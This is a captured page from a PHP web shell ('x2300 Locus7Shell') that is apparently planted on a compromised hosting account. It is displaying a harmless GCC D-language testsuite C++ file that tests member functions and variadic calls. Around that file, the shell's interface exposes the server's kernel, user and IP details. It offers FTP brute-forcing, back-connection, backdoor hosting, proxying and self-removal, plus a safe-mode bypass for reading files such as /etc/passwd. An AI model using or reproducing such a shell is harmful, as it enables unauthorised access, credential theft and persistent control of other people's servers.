Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gdc.test/runnable_cxx/extra-files/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cpp7925.cpp (1.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <stdarg.h>
#include <assert.h>

class C1
{
public:
    virtual ~C1();

    int i;

    int f0();
    int f1(int a);
    int f2(int a, int b);
    virtual int f3(int a, int b);
    int f4(int a, ...);
};

C1::~C1()
{
}

int C1::f0()
{
    return i;
}

int C1::f1(int a)
{
    return i + a;
}

int C1::f2(int a, int b)
{
    return i + a + b;
}

int C1::f3(int a, int b)
{
    return i + a + b;
}

int C1::f4(int a, ...)
{
    int r = i + a;
    int last = a;

    va_list argp;
    va_start(argp, a);
    while (last)
    {
        last = va_arg(argp, int);
        r += last;
    }
    va_end(argp);
    return r;
}

C1 *createC1()
{
    return new C1();
}

class C2
{
public:
    virtual ~C2();

    int i;

    int f0();
    int f1(int a);
    int f2(int a, int b);
    virtual int f3(int a, int b);
    int f4(int a, ...);
};

C2 *createC2();

void runCPPTests()
{
    C2 *c2 = createC2();
    c2->i = 100;
    assert(c2->f0() == 100);
    assert(c2->f1(1) == 101);
    assert(c2->f2(20, 3) == 123);
    assert(c2->f3(20, 3) == 123);
    assert(c2->f4(20, 3, 0) == 123);

    int (C2::*fp0)() = &C2::f0;
    int (C2::*fp1)(int) = &C2::f1;
    int (C2::*fp2)(int, int) = &C2::f2;
    int (C2::*fp3)(int, int) = &C2::f3;
#ifndef __DMC__
    int (C2::*fp4)(int, ...) = &C2::f4;
#endif
    assert((c2->*(fp0))() == 100);
    assert((c2->*(fp1))(1) == 101);
    assert((c2->*(fp2))(20, 3) == 123);
    assert((c2->*(fp3))(20, 3) == 123);
#ifndef __DMC__
    assert((c2->*(fp4))(20, 3, 0) == 123);
#endif
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--